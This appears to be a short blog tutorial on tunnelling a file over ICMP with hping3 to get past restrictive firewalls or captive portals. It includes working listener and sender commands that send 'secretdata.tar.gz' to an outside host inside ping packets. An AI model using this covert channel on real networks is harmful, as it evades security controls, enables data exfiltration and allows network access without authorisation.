Every now and then I find myself in a situation where I need to send data from one system to another and for one reason or another I'm unable to transmit using TCP or UDP. This is usually as a result of an over zealous security admin and some funny firewall rules, although I've used this trick on other occasions when I'm on an unauthenticated wireless lan with captive portal enabled but no credentials for network access. Strangely it seems that a lot of these captive portal systems allow both DNS requests and ICMP through.

Assuming you have a way to enter shell commands on both boxes and one can ping the other we can actually route data over ICMP to the destination host using the fantastic hping3

ping pong pipe

Installing hping

hping is in the standard apt repos for debian based systems (ubuntu, mint etc.) and can therefore be installed with the command:

sudo apt-get install -y hping3 

On a mac it's in the homebrew repo and can be installed with:

port install hping

although you'll need to compile it by hand if you want tcl scripting support on OS X.

Sending a file

Hping is a very versatile tool. It's been around for ages, it was actually the first implementation of the idle scan technique now used by nmap, but today we are using it to send data over ICMP.

configuring the listener

On the receiving end we need to start a listener, we also need to specify strings that make the beginning and of the interesting traffic (in this case the file we are sending). This is done with the --listen directive that takes the IP address of the sender and marks the start of the file, and the --sign directive that takes a custom string we can make up (it just has to match what we use on the other end) and marks the end of the interesting traffic (file). We also need to redirect the output to a file using the standard shell > filename syntax. Putting this together we get:

sudo hping3 --listen X.X.X.X -I eth0 \
--sign MYHUP > secretdata.tar.gz

Which looks like this:

$ sudo hping3 --listen X.X.X.X -I eth0 \
--sign MYHUP > secretdata.tar.gz
hping3 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!

Where it will sit until it receives a SIGHUP, waiting for matching data and dumping it into the specified secretdata.tar.gz file.

Configuring the sender

On the sending end it's a similar story. We have to tell hping where to send the file (what host to ping) and what the signature is:

sudo hping3 listening.server.com --icmp \
--sign MYHUP -d 50 -c 1 --file secretdata.tar.gz

Which looks like this:

$ sudo hping3 listening.server.com --icmp \
--sign MYHUP -d 50 -c 1 --file secretdata.tar.gz
HPING bc.io (eth0 Y.Y.Y.Y): icmp mode set, 28 headers + 50 data bytes
[main] memlockall(): Resource busy
Warning: can't disable memory paging!
len=78 ip=Y.Y.Y.Y ttl=52 id=18589 icmp_seq=0 rtt=28.8 ms

--- listening.server.com hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 28.8/28.8/28.8 ms
$

Which completes and gives us back the console.

Now ctrl+c on the listener and look at the output file

$ file secretdata.tar.gz
secretdata.tar.gz: gzip compressed data, from Unix, last modified: Thu Oct 18 10:28:55 2012
$

Succcess! we've just send a file from server A to Server B using ICMP as the data channel :)